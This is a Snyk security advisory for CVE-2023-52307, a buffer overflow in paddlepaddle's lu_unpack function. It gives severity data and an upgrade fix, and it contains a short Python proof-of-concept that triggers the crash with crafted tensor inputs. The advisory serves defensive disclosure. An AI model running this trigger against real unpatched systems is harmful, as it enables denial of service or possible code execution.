Buffer Copy without Checking Size of Input ('Classic Buffer Overflow') Affecting paddlepaddle package, versions [,2.6.0)


Severity

Recommended
0.0
high
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of concept
EPSS
0.14% (50th percentile)

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  • Snyk IDSNYK-PYTHON-PADDLEPADDLE-6142742
  • published3 Jan 2024
  • disclosed3 Jan 2024
  • creditTong Liu

Introduced: 3 Jan 2024

CVE-2023-52307  (opens in a new tab)
CWE-120  (opens in a new tab)

How to fix?

Upgrade paddlepaddle to version 2.6.0 or higher.

Overview

paddlepaddle is a Parallel Distributed Deep Learning

Affected versions of this package are vulnerable to Buffer Copy without Checking Size of Input ('Classic Buffer Overflow') via the paddle.linalg.lu_unpack function. An attacker can cause a denial of service or potentially execute arbitrary code by providing specially crafted input to trigger this vulnerability.

PoC

import paddle
import numpy as np

x = paddle.to_tensor(np.random.uniform(-6666666, 100000000, [1, 6, 4, 8, 2]).astype(np.float32))
y = paddle.to_tensor(np.random.uniform(-2147483648, 2147483647, []).astype(np.int32))

paddle.linalg.lu_unpack(x, y, True, True)

CVSS Scores

version 3.1